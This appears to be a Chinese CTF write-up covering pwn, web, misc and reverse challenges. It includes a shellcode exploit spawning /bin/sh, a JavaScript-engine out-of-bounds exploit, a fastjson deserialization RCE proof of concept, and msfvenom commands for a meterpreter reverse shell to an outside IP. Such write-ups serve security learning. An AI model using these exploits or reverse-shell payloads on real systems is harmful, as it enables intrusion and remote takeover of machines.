.text:000000000000149D                 mov     eax, cs:dword_4040
.text:00000000000014A3                 cdqe
.text:00000000000014A5                 lea     rcx, ds:0[rax*8]
.text:00000000000014AD                 lea     rdx, unk_4060
.text:00000000000014B4                 mov     rax, [rbp-8]
.text:00000000000014B8                 mov     [rcx+rdx], rax
.text:00000000000014BC                 mov     rax, [rbp-8]
.text:00000000000014C0                 mov     eax, [rax]
.text:00000000000014C2                 cmp     eax, 0F012F012h  ; 判斷起始地址是否為0xF012F012
.text:00000000000014C7                 jnz     short loc_1517
.text:00000000000014C9                 jmp     short loc_14EF
.text:00000000000014CB ; ---------------------------------------------------------------------------
.text:00000000000014CB
.text:00000000000014CB loc_14CB:                               ; CODE XREF: sub_13F0+106↓j
.text:00000000000014CB                 mov     rdx, [rbp-8]
.text:00000000000014CF                 mov     eax, [rbp-0Ch]
.text:00000000000014D2                 cdqe
.text:00000000000014D4                 movzx   eax, byte ptr [rdx+rax+4]
.text:00000000000014D9                 cmp     al, 0Fh         ; 判斷數據值是否>0xF
.text:00000000000014DB                 jbe     short loc_14EB
.text:00000000000014DD                 mov     rdx, [rbp-8]
.text:00000000000014E1                 mov     eax, [rbp-0Ch]
.text:00000000000014E4                 cdqe
.text:00000000000014E6                 mov     byte ptr [rdx+rax+4], 0  ; 大于0xF,則置0
.text:00000000000014EB
.text:00000000000014EB loc_14EB:                               ; CODE XREF: sub_13F0+EB↑j
.text:00000000000014EB                 add     dword ptr [rbp-0Ch], 1
.text:00000000000014EF
.text:00000000000014EF loc_14EF:                               ; CODE XREF: sub_13F0+D9↑j
.text:00000000000014EF                 cmp     dword ptr [rbp-0Ch], 3E7h  遍歷內存中的數據
.text:00000000000014F6                 jle     short loc_14CB
.text:00000000000014F8                 mov     rax, [rbp-8]
.text:00000000000014FC                 add     rax, 4
.text:0000000000001500                 mov     cs:qword_4048, rax
.text:0000000000001507                 mov     rdx, cs:qword_4048
.text:000000000000150E                 mov     eax, 0
.text:0000000000001513                 call    rdx ; qword_4048   ; 執行申請內存處的代碼
.text:0000000000001515                 jmp     short loc_1521
.text:0000000000001517 ; ---------------------------------------------------------------------------
.text:0000000000001517
.text:0000000000001517 loc_1517:                               ; CODE XREF: sub_13F0+D7↑j
.text:0000000000001517                 mov     rax, [rbp-8]
.text:000000000000151B                 mov     dword ptr [rax], 4
.text:0000000000001521
.text:0000000000001521 loc_1521:                               ; CODE XREF: sub_13F0+125↑j
.text:0000000000001521                 mov     edx, 15h
.text:0000000000001526                 lea     rsi, aCreateSuccessf ; "create successfully.\n"
.text:000000000000152D                 mov     edi, 1
.text:0000000000001532                 mov     eax, 0
.text:0000000000001537                 call    sub_10C0
.text:000000000000153C
.text:000000000000153C locret_153C:                            ; CODE XREF: sub_13F0+39↑j
.text:000000000000153C                 leave
.text:000000000000153D                 retn
.text:000000000000153D ; } // starts at 13F0
.text:000000000000153D sub_13F0        endp

通過上述分析,可以知道,申請了1000字節RWX內存,當前四字節內容為0xF012F012時,會為進一步判斷后續內存數據,數據內容限定在0~0xF之間,后續直接執行此處代碼。因而,這里可以使用如下指令進行構造,exp如下:

from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug'

BINARY = './create_code'
elf = ELF(BINARY)

if len(sys.argv) > 1 and sys.argv[1] == 'r':
    HOST = "127.0.0.1"
    PORT = 8888 
    s = remote(HOST, PORT)
else:
    s = process(BINARY)
    #context.terminal = ['tmux', 'splitw', '-h']
    #s = gdb.debug(BINARY)

s.sendline('1')
print(s.recvuntil("content: "))
flag = b"\x12\xF0\x12\xF0"

buf = asm('''
 add DWORD PTR [rip+0x600], eax
 ''')

# make xor ecx,ecx   code 0x31c9
buf += asm('''
 add al, 0x0d
 add al, 0x0d
 add al, 0x0d
 add BYTE PTR [rdx+rax*1], al
 add al, 0x01
 add BYTE PTR [rdx+rax*1], al
 add BYTE PTR [rdx+rax*1], al
 add BYTE PTR [rdx+rax*1], al
 add BYTE PTR [rdx+rax*1], al
 add BYTE PTR [rdx+rax*1], al
 ''')

# padding
buf += asm('''
 add cl,  BYTE PTR [rdx]
 add cl,  BYTE PTR [rdx]
 add cl,  BYTE PTR [rdx+rax*1]
 ''')
buf += b"\x00"*(0x27-len(buf))
buf += b"\x0a\x01"

# rcx = 0x200
buf += asm('''
 add ecx, DWORD PTR [rip+0x30f]
 ''')

# push rdx   # 0x52
buf += asm('''
 add al, 1
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 ''')

# pop rdi    # 0x5f
buf += asm('''
 add cl, byte PTR [rdx] 
 add al, 6
 add byte PTR [rdx+rcx*1], al
 add al, 1
 add byte PTR [rdx+rcx*1], al
 ''')
# al = 0x30
# add rdi, 0x30f  # 4881c70f030000
buf += asm('''
 add cl, byte PTR [rdx]
 add al, 0xf
 add al, 1
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add cl, byte PTR [rdx]
 add cl, byte PTR [rdx]
 add cl, byte PTR [rdx]
 ''')
# al = 0x40

# xor esi, esi  # 0x31f6
buf += asm('''
 add cl, byte PTR [rdx]
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 ''')
# al = 0x30

# xor edx, edx  # 0x31d2
buf += asm('''
 add cl, byte PTR [rdx]
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add al, 1
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 ''')
# al = 0x31

# push 0x3b  # 0x6a3b
buf += asm('''
 add cl, byte PTR [rdx]
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add byte PTR [rdx+rcx*1], al
 ''')
# al = 0x31

# pop rax  # 0x58
buf += asm('''
 add cl, byte PTR [rdx]
 add al, 0xf
 add al, 0xf
 add al, 0x9
 add byte PTR [rdx+rcx*1], al
 ''')
# al = 0x58

# make /bin/sh

# rcx = 0x200
buf += asm('''
 add ecx, DWORD PTR [rip+0x20f]
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0x5
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add al, 2
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 ''')

# padding
buf += asm('''
 add cl,  BYTE PTR [rdx]
 ''')*((0x200-len(buf))//2 - 1)
buf += asm('''
 add cl, byte PTR [rdx+rax*1]
 ''')

buf += b"\x00\x00\x08\x01\x07\x0f\x03\x00\x00\x01\x06\x01\x0e\x08\x0a\x00\x0f\x05"

buf += b"\x00"*(0x2df-len(buf))
buf += b"\x00\x01"  # rcx = 0x30f

buf += b"\x00"*(0x30f-len(buf))
buf += b"\x0f\x02\x09\x0e\x0f\x0d\x02"  # /bin/sh

buf += b"\x00"*(0x30f+0x2f-len(buf))
buf += b"\x00\x02"  # rcx = 0x200

buf += b"\x00"*(1000-len(buf))

s.sendline(flag+buf)

s.interactive()

Hello_Jerry

本題將 array.shift 進行了 patch ,每一次 shift 會將 length 減 2 ,那么當 length 為 1 的時候進行一次 shift 便可以得到一個 oob array ,之后便是常規的思路: leak elf_base -> leak libc_base -> leak stack_base -> write ret_addr to one_gadget 編輯exp.js

function printhex(s,u){
    print(s,"0x" + u[1].toString(16).padStart(8, '0') + u[0].toString(16).padStart(8, '0'));
}

function hex(i){
    return "0x" + i.toString(16).padStart(16, '0');
}

function pack64(u){
    return u[0] + u[1] * 0x100000000;
}

function l32(data){
    let result = 0;
    for(let i=0;i<4;i++){
        result <<= 8;
        result |= data & 0xff;
        data >>= 8;
    }
    return result;
}

a = [1.1];
a.shift();

var ab = new ArrayBuffer(0x1337);
var dv = new DataView(ab);

var ab2 = new ArrayBuffer(0x2338);
var dv2 = new DataView(ab2);
for(let i = 0; i < 0x90; i++){
    dv2 = new DataView(ab2);
}

a[0x193] = 0xffff;

print("[+]change ab range");

a[0x32] = 0xdead;

for(let i = 0; i < 100000000; i ++){

}

var idx = 0;
for (let i = 0; i < 0x5000; i++){
    let v = dv.getUint32(i, 1);
    if(v == 0x2338){
        idx = i;
    }
}

print("Get idx!");

function arb_read(addr){
    dv.setUint32(idx + 4, l32(addr[0]));
    dv.setUint32(idx + 8, l32(addr[1]));
    let result = new Uint32Array(2);
    result[0] = dv2.getUint32(0, 1)
    result[1] = dv2.getUint32(4, 1);
    return result;
}

function arb_write(addr,val){
    dv.setUint32(idx + 4, l32(addr[0]));
    dv.setUint32(idx + 8, l32(addr[1]));
    dv2.setUint32(0, l32(val[0]));
    dv2.setUint32(4, l32(val[1]));
}

var u = new Uint32Array(2);
u[0] = dv.getUint32(idx + 4, 1);
u[1] = dv.getUint32(idx + 8, 1);

print(hex(pack64(u)));

var elf_base = new Uint32Array(2);
elf_base[0] = u[0] - 0x6f5e0;
elf_base[1] = u[1];
printhex("elf_base:",elf_base);

var free_got = new Uint32Array(2);
free_got[0] = elf_base[0] + 0x6bdd0;
free_got[1] = elf_base[1];
printhex("free_got:",free_got);

var libc_base = arb_read(free_got);
libc_base[0] -= 0x9d850;
printhex("libc_base:",libc_base);

var environ_addr = new Uint32Array(2);
environ_addr[0] = libc_base[0] + 0x1ef2d0;
environ_addr[1] = libc_base[1];
printhex("environ_addr:",environ_addr);
var stack_addr = arb_read(environ_addr);
printhex("stack_addr:",stack_addr);

var one_gadget = new Uint32Array(2);
one_gadget[0] = (libc_base[0] + 0xe6c7e);
one_gadget[1] = libc_base[1];
printhex("one_gadget:",one_gadget);
stack_addr[0] -= 0x118;
arb_write(stack_addr,one_gadget);

var zero = new Uint32Array(2);
zero[0] = 0;
zero[1] = 0;
printhex("zero:",zero);
stack_addr[0] -= 0x29;
arb_write(stack_addr,zero);

print("finish");

for(let i = 0; i < 100000000; i ++){

}

編輯exp

#!/usr/bin/env python
import string
from pwn import *
from hashlib import sha256
context.log_level = "debug"

dic = string.ascii_letters + string.digits

DEBUG = 0

def solvePow(prefix,h):
    for a1 in dic:
        for a2 in dic:
            for a3 in dic:
                for a4 in dic:
                    x = a1 + a2 + a3 + a4
                    proof = x + prefix.decode("utf-8")
                    _hexdigest = sha256(proof.encode()).hexdigest()
                    if _hexdigest == h.decode("utf-8"):
                            return x

r = remote("127.0.0.1",9998)

r.recvuntil("sha256(XXXX+")
prefix = r.recvuntil(") == ", drop = True)
h = r.recvuntil("\n", drop = True)
result = solvePow(prefix,h)
r.sendlineafter("Give me XXXX:",result)

data = open("./exp.js","r").read()
data = data.split("\n")
for i in data:
    if i == "":
        continue
    r.sendlineafter("code> ",i)
r.sendlineafter("code> ","EOF")

r.interactive()

還是你熟悉的fastjson嗎

由代碼可看到,依賴中使用了fastjson和org.fusesource.leveldbjni,通過這fastjosn進行反序列化,并結合leveldbjni進行rce。 找到參考文檔: https://i.blackhat.com/USA21/Wednesday-Handouts/US-21-Xing-How-I-Used-a-JSON.pdf 以及skay小姐姐對上面議題的代碼分析: http://noahblog.#/blackhat-2021yi-ti-xiang-xi-fen-xi-fastjsonfan-xu-lie-hua-lou-dong-ji-zai-qu-kuai-lian-ying-yong-zhong-de-shen-tou-li-yong-2/ 讀取文件目錄,獲取so文件名。 需要先訪問一次/test接口生成數據庫和so文件,再讀取文件名。

import requests
import os
import sys
import re
import string

#step1
#read /tmp/ directory to find so file

host = "http://11.1.1.18:8080"

def step1():
    global host
    result = []
    def getArrayData(ch):
        out = []
        for c in result:
            out.append(str(ord(c)))
        out.append(str(ord(ch)))
        return ','.join(out)
    def poc(ch):
        url = '/hello'
        jsonstr = '{"abc":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"netdoc:///tmp/"},"charsetName":"utf-8","bufferSize":1024},"boms":[{"charsetName":"utf-8","bytes":[%s]}]},"address":{"$ref":"$.abc.BOM"}}'
        data = {
            'data': jsonstr % getArrayData(ch)
        }
        proxy = {'http':'127.0.0.1:8080'}
        proxy = {}
        rsp = requests.post(host+url, data=data, proxies=proxy)
        if "bytes" in rsp.text:
            return True
        else:
            return False
    while True:
        for ch in string.printable+'\r\n':
            if poc(ch):
                result.append(ch)
                print('step1>', ''.join(result))
                break

step1()

二進制文件修改分析 通過議題ppt給出的shellcode注入位置,是在文件偏移0x197b0處。

反匯編代碼如下

然而這里的空間比較小,只能jump到另外的位置去,將shellcode放到空的代碼區局,找起來不方便。 這里參考skay小姐姐的方法,放到如下圖的函數中,將shellcode設置為反彈msf的shellcode。

生成shellcode
msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp LHOST=39.103.160.59 LPORT=4444 > shellcode
監聽
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
exploit -j

寫文件 問題: 測試時寫文件,發現文件存在,則上傳的文件為.bak結尾。

但是代碼中給了一段copy覆蓋的代碼,用來解決這個問題。 參考skay小姐姐的base64編碼的方法: http://noahblog.#/blackhat-2021yi-ti-xiang-xi-fen-xi-fastjsonfan-xu-lie-hua-lou-dong-ji-zai-qu-kuai-lian-ying-yong-zhong-de-shen-tou-li-yong-2/ 接下來就是將修改后的so文件上傳并替換了,文件名為通過第一步獲取到的文件名。 上傳后,再次訪問/test接口,觸發rce。

OK,讀取之到此結束。

Misc

login

打開頁面需要登錄,無賬號密碼,唯一可疑的只有底下的獲取實例,點擊發現可以獲取一個提示文檔,并說按照文檔向admin@birkenwald.cn發送郵件即可獲取賬號。

提示文檔是個zip壓縮包,里面還有一個加密的壓縮包,看到三個文件都被加密了,第一反應解zip偽加密。

winhex修改所有0900偽0000后,發現文件的加密符都沒了但是只有示例 - 副本可以正常打開。

由于副本和原文件的原始大小一樣,所以盲猜是明文攻擊,這里使用winrar壓縮后,校對CRC一致,滿足明文攻擊要求,使用ARCHPR 4.54即可

1min左右就可以跑出密碼為qwe@123,解壓出password.zip,打開看見還是加密的,想要獲得管理員賬號密碼,但仍有加密,且不是偽加密,又看到三個txt的原始大小只有6字節,這就是典型的CRC32碰撞,github上搜crc32直接碰

得到密碼welc0me_sangforctf,解壓得到.password.swp,linux下執行vim -r .password.swp 即可恢復出原文件。

回網站登錄,看到恭喜我得到了flag,猜測藏在了頁面源碼里了。

但是所有查看源碼的快捷鍵都被禁止了,都會彈框What are U f**king doing!,這里解法也不唯一,可以利用瀏覽器插件,也可以利用burpsuite,這我僅用bp舉例。

Bridge

(本題有兩個故事線,實際步驟可能與此wp有所不同) 第一步:使用binwalk分析出有zlib數據,但是無法使用binwalk -e或foremost分離出有效文件,在010editor中查看圖片。

第二步:010 editor中看到最后一個IDAT數據塊長度異常,導出這段zlib數據。

第三步:觀察IDAT標識后面的87 9C兩個字節,恢復成zlib數據頭標識78 9C,寫腳本將此段zlib數據解壓縮,可得到一個rar壓縮包。注意解壓縮的zlib數據應該是去掉IDAT-length、IDAT-type、IDAT-crc的數據部分,即(78 9C ..... )。

import zlib
data = open("zlib_hex_data.txt", 'r',
            encoding="utf-8").read().replace(" ", "").replace("\n",
                                                              "").strip()
data_dec = zlib.decompress(bytes.fromhex(data))
print(data_dec[:100])
with open("zlib_data.rar", 'wb') as wf:
    wf.write(data_dec)
#b'Rar!\x1a\x07\x01\x00J\x97,}\x0c\x01\x05\x08\x00\x07\x01\x01\x96\x9c\x87\x80\x00\xf7\xea}W\x13\x03\x02\xbd\x00\x04\xbd\x00\x00\x90:\xd1\xdc\x80\x00\x00\x03CMT\xe5\xa6\x82\xe6\x9e\x9c\xe4\xbd\xa0\xe4\xb8\x8d\xe7\x9f\xa5\xe9\x81\x93\xe8\xbf\x99\xe6\x98\xaf\xe4\xbb\x80\xe4\xb9\x88\xe4\xb8\x9c\xe8\xa5\xbf\xef\xbc\x8c\xe5\x8f\xaf\xe4\xbb\xa5\xe5\x8e\xbb\xe7\x9c\x8b

解壓壓縮包可得flag2,注意壓縮包中有提示請先獲取flag1。 第四步:繼續找flag1,分析最開始的那張圖片,實際使用zsteg和exiftool可以發現其他可以信息。 exiftool看到Copyright有可以十六進制:翻譯過來是:dynamical-geometry。

zsteg發現這張圖片除了存在extradata外,在中也有臟數據。

使用StegSolve檢查隱寫。

第五步:導出十六進制,這里不能直接打開圖片,可使用foremost將PNG快速分離出來,最后得到一張590x590,大小為979KB的圖片,注意如果僅去掉PNG字符前數據并改后綴為PNG也能正常查看圖片,但會阻塞下一步分析像素操作。 第六步:到這里只有一張色彩值雜亂的PNG圖片,分析其像素。

from PIL import Image
image = Image.open(r'C:\Users\during\Downloads\00000000.png')
allpixels = []
for x in range(image.width):
    for y in range(image.height):
        allpixels.append(image.getpixel((x, y)))

print(len(allpixels)) # 348100
print(allpixels[:4])
# [(40, 176, 80), (37, 181, 75), (1, 253, 3), (2, 252, 4)]
#           0x50           0x4B          0x03         0x04

第七步:取前四個字節即可看出,像素第三列隱藏著壓縮包十六進制,批量提取并保存成zip壓縮包,使用第四步得到的密碼:dynamical-geometry解密,得到flag1文件。

from PIL import Image
image = Image.open(r'C:\Users\during\Downloads\00000000.png')
allpixels = []
for x in range(image.width):
    for y in range(image.height):
        if image.getpixel((x, y)) == (0, 0, 0):
            continue
        allpixels.append(image.getpixel((x, y))[2])

hex_datalist = [str(hex(i))[2:].zfill(2) for i in allpixels]
print("".join(hex_datalist)[:100])
# 504b0304140009006300caa05753d904fdb22a4b0500dce856000f000b00666c6167312d61736369692e73746c0199070001
with open("outpur.txt", 'w') as wf:
    wf.write("".join(hex_datalist))

第八步:記事本打開文件后,是3D打印模型中的STL格式文件,STL格式分為ascii、binary格式,使用在線工具或開源工具查看模型即可。這一步并不需要腦洞,拷貝stl-ascii格式數據百度即可查詢到STL文件格式的有關內容。

根據flag1的STL格式,將flag2也嘗試用STL預覽器查看:

Disk

看文件名zse456tfdyhnjimko0-=[;.,.vera可以發現是用Veracrpyt加密后的文件,觀察文件名發現是初級磁盤密碼,根據字母按鍵盤能得到密碼:pvd。

使用任意一個沒有被使用的卷標識掛載文件,能夠得到如下兩個文件。

看文件頭37 7A BC AF可只是7z壓縮包,直接解壓即可(是為了盡量減少附件體積,因為bitlocker加密對分區有大小限制所以初始分區較大),得到附件gooood。 拖入010editor,發現有如下字樣,能夠看出是windows下的分區,或者是放到linux下使用file命令進行識別。

修改后綴為vhd,雙擊gooood.vhd文件發現被bitlocker加密,使用bitlocker2john結合hashcat爆一下弱密碼字典,bitlocker2john -i gooood.vhd,然后將User Password hash的值保存成hash.txt,將弱密碼的字典放到passwd.txt,使用hashcat -m 22100 hash.txt passwd.txt --show爆出密碼:abcd1234。

abcd1234解密bitlocker加密的分區,打開之后是空的,使用diskgenius掛載分區,可以在隱藏分區的回收站里找到提示和附件。

打開文本文檔發現hint是3389,即提示黑客使用遠程桌面連接到了受害者主機看到了flag,這里有個知識點是關于:rdp協議默認開啟位圖緩存功能,會產生bmc文件,使用bmc-tool或者BMC Viewer能夠恢復出緩存的圖像。

清晰可見: cmRwY2FjaGUtYm1j,解密baset64即為flag:SangFor{rdpcache-bmc}。

flow hunter

1.首先要在眾多流量中甄別出DNS流量中隱藏有關鍵信息,普通流量中DNS流量不會有這么多,其次也可以通過全局搜索secret關鍵字找到提示becareful_rainbow,根據rainbow關鍵詞可以發現,DNS流量中請求了非常多域名后綴為rainbow.bubble的流量。

通過過濾:tcp and frame contains "secret"可以找到TRUESECRET。

2.這一步可以使用腳本提取,也可以使用tshark命令提取全部的dns.qry.name,tshark -Y misc3.pcap -T fields -e dns.qry.name -r 'udp.dstport==53' > domain.txt可將DNS中所有解析的域名存放于domain.txt中,刪除所有的43.9.227.10.in-addr.arpa即可得到純凈的域名請求記錄。

3.腳本提取二級域名前綴,組成十六進制保存成PNG圖片可以得到一張二維碼(datamatrix格式)。

print("".join([j.split(".")[1] for j in [i.strip() for i in open(r"domain.txt",'r').readlines() if i is not "\n"]]))

然后將十六進制放到010editor中保存為PNG,然后解碼:

4.觀察的到的秘鑰ecb_pkcs7可知是AES加密,用這個秘鑰去解密搜索關鍵詞secret得到的密文(密文有五段,組合起來urldecode即可解密),得到sslkey.log,需要選定模式為:ECB-pkcs7-256

第一段密文

AES解密

5.得到日志后導入wireshark解密https的流量

Reverse

Press

IDA打開分析主函數,如圖:

程序先讀取一個名為flag的文件,進行一系列計算后輸出附件所示的out程序,容易分析出核心算法即為sub_40094B,分析此函數。

利用case中的字符,能夠從公開網絡中大致查出這類似于brainfuck語言,但有所擴展使得我們不能直接利用開源工具計算結果。

strcpy中的字符串即為類brainfuck的操作碼,從上面的函數看,這段代碼的含義大致為:讀取一個字符,用160減去此字符,所得的結果再乘5,加2,輸出到結果中。 利用out逐字節反算,可以得到一組base64值。

解base64即為flag。

Lithops

1.首先運行程序嘗試輸入,根據運行結果可以猜測存在一個值與輸入的(經過運算后)flag進行比對。

2.程序的主函數并不復雜,在IDA里面查看一下反編譯后的C代碼。

可以看出比較關鍵的內容是sub_402970、sub_402900和sub_4028A0函數,以及v3、v9、v10和v7參數,再直接查看反匯編代碼可以看出v7為用戶輸入的flag。

3.查看一下sub_4028A0函數,我們知道dword_xxxxxx表示地址為xxxxxx的32位數據,這里被當作函數來使用。

使用交叉引用查看一下,其在sub_401010函數中被賦值,該值由sub_4055A0函數通過紅框中的兩個參數計算而得。

再對dword_433C58使用交叉引用,對經驗的應該可以看出這段代碼是獲取kernel32.dll的基址。

那么,知道API HASH技術的應該可以猜測到sub_4055A0函數主要用于根據模塊基址和HASH尋找對應的API函數。 4.sub_402900

5.sub_402970

可以看出類似的情況分別出現在了sub_402900和sub_402970函數中,所有使用到的API函數都被隱藏了,這種情況下,我們可以采用動態調試。 在動態調試前,我們先明確這里存在一個值用于驗證其輸入的flag是否正確,通過上述內容可以看出這個值應該是輸入的flag經過計算后的結果,我們的首要目標應該是尋得該值,并根據該值逆推flag。 6.sub_4028A0動態分析

可以看出在sub_4028A0函數中主要是用到的是MultiByteToWideChar函數,調試并根據參數還原該段代碼,應該為:

void gb2312ToUnicode(const string& src, wstring& result)
{
    int n = kMultiByteToWideChar(CP_ACP, 0, src.c_str(), -1, NULL, 0);
    result.resize(n);
    kMultiByteToWideChar(CP_ACP, 0, src.c_str(), -1, (LPWSTR)result.c_str(), result.length());
}

7.sub_402900動態分析

可以看出在sub_402900函數中主要用到的是WideCharToMultiByte函數,調試并根據參數還原該段代碼,應該為:

void unicodeToUTF8(const wstring& src, string& result)
{
    int n = kWideCharToMultiByte(CP_UTF8, 0, src.c_str(), -1, 0, 0, 0, 0);
    result.resize(n);
    kWideCharToMultiByte(CP_UTF8, 0, src.c_str(), -1, (char*)result.c_str(), result.length(), 0, 0);
}

8.根據上述內容,我們可以知道程序會把輸入的flag進行utf-8編碼,并傳入sub_402970函數驗證。

sub_402970函數中主要使用到的API為GetModuleHandleA、lstrcpyA和lstrcmpA,該函數會從.rsrc節中獲取用于驗證flag正確性的值,即“E4 B8 8D E5 81 9A E4 BC 9F E5 A4 A7 E6 97 B6 E4 BB A3 E7 9A 84 E6 97 81 E8 A7 82 E8 80 85 0”。 到這一步,我們其實比較明確,該程序只是將輸入進行utf-8編碼,并與隱藏在.rsrc節中的key進行對比驗證,根據該key我們寫出writeup。

void unicodeToGB2312(const wstring& wstr, string& result)
{
    int n = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, 0, 0, 0, 0);
    result.resize(n);
    ::WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, (char*)result.c_str(), n, 0, 0);
}


void utf8ToUnicode(const string& src, wstring& result)
{
    int n = MultiByteToWideChar(CP_UTF8, 0, src.c_str(), -1, NULL, 0);
    result.resize(n);
    ::MultiByteToWideChar(CP_UTF8, 0, src.c_str(), -1, (LPWSTR)result.c_str(), result.length());
}

int main(int argc, char** agrv)
{
    string strGB2312;
    wstring wstrUnicode;

    char key[] = "\xE4\xB8\x8D\xE5\x81\x9A\xE4\xBC\x9F\xE5\xA4\xA7\xE6\x97\xB6\xE4\xBB\xA3\xE7\x9A\x84\xE6\x97\x81\xE8\xA7\x82\xE8\x80\x85\x00";

    utf8ToUnicode(key, wstrUnicode);
    unicodeToGB2312(wstrUnicode, strGB2312);

    return 0;
}

得到flag。

驗證。

XOR

IDA打開,發現目標程序進行了混淆,進一步分析,可以知道使用了ollvm進行了混淆。

使用工具中的deflat.py腳本,去除混淆的代碼。 python deflat.py shift_exercise 0x401170 去除之后,生成shift_exercise_recovered文件,IDA繼續分析,仍然存在無用的控制流程。

進一步使用IDA插件script.py進行處理,獲得更為直觀的偽代碼。

分析偽代碼可以知道,該算法為修改過的crc64算法,依據加密算法,寫出解密算法。

def multiply(multiplier_a, multiplier_b):
    tmp = [0] * 64
    res = 0
    for i in range(64):
        tmp[i] = (multiplier_a << i) * ((multiplier_b >> i) & 1)
        res ^= tmp[i]
    return res


def find_highest_bit(value):
    i = 0
    while value != 0:
        i += 1
        value >>= 1
    return i


def divide(numerator, denominator):
    quotient = 0
    tmp = numerator
    bit_count = find_highest_bit(tmp) - find_highest_bit(denominator)
    while bit_count >= 0:
        quotient |= (1 << bit_count)
        tmp ^= (denominator << bit_count)
        bit_count = find_highest_bit(tmp) - find_highest_bit(denominator)
    remainder = tmp
    return quotient, remainder


def reverse(x, bits):
    bin_x = bin(x)[2:].rjust(bits, '0')
    re_bin_x = bin_x[::-1]
    return int(re_bin_x, 2)


cipher = [0x32e9a65483cc9671, 0xec92a986a4af329c, 0x96c8259bc2ac4673,
          0x74bf5dca4423530f, 0x59d78ef8fdcbfab1, 0xa65257e5b13942b1]

res = b""
for a in cipher:
    d = 0xb1234b7679fc4b3d
    rr = reverse(a, 64)
    rd = reverse((1 << 64) + d, 65)
    q, r = divide(rr << 64, rd)
    r = reverse(r, 64)
    for i in range(8):
        res += bytes([r & 0xff])
        r >>= 8

    print(res)
print(res.decode())

生瓜蛋子

IDA打開,分析主函數可以較容易的分析出所需的輸入是Sangfor{30位hex},然后按照Label11所述的邏輯進行判定:

上圖中,duihua5是虛擬機邏輯通過(此處的虛擬機詳見后文)但md5不正確的情況,duihua4是二者都正確的情況,但是上面的偽代碼由于花指令的存在,不完全正確。 接下來的部分無法在F5中得到,但是可以基于匯編從text view得到,這部分十六進制字符的部分值得注意:

目前無法得到關于這些字符如何使用的信息,動態調試時,關注這部分地址(403xxx),可以分析出這是一個虛擬機,其中: + 最后的64個字符為opcode,這64個字節中前面32個決定偏移,后面32個決定計算方式。 + 計算方式包括模加,模減,模乘和異或,4種計算方法,32個字節中的前30個分別對30位輸入決定,因為是16進制,可以分析出高4位決定一種,低4位決定一種,兩種計算分別進行,存在于兩個變量中。

(圖為強行nop掉花指令后得到的結構) - 偏移值決定輸入是與前面30*32的十六進制數的哪一位做運算,第一種運算是:第i位與第i行的第x位(x受偏移值控制,最大為15)進行計算,第二種運算是:第i位與第i行的第15+x位做運算,兩個結果都是與第i行最后一位比較,有一個相等即可完成檢查。

  • 據此可以寫爆破腳本,得到每一位的可行值

不計md5的邏輯,可行的flag可以由以下腳本爆破得到,修改md5值可得到多個文件,使用任何cpp編譯器編譯可得到文件。

#include<stdio.h>
#include<stdlib.h>
#include<time.h>
#include <stdint.h>
#include<Windows.h>
unsigned char gua[64];
unsigned char table[32][33] = {
"f686bee4665fa77525e0f784097f4b3f",
"8ec4b805f93e9edd178818b3993e4a5d",
"4edb219c1f7dcf6dfb5c471a1f44ffa5",
"bd244ed81f96aef43ea55704085af9b4",
"594537dc31688cc4ef722bacdfac518e",
"91f800e6787c42f26e939a391c398ec6",
"69cf503c8cadc12176e791c6615bd704",
"8b1b9b88692d3804b9710a72ae458843",
"fe77fb82cf016df3913ed002bccb7d6d",
"711453fe706aed138823de8dcbf2fc38",
"4f027901b70a595828647b3a1407078e",
"5be1878d4e222009f13a3aacb2192861",
"3109983436e0eebe2b5c5a5e3d668c6b",
"6b33b28e18d6d9f0db4688cfad20ccbe",
"b47b71f489033446d3d9f097060e33ec",
"28d0871eb3f67152d8aa820500ddeabc",
"df51b921388b8032190cf0a3760e6fb6",
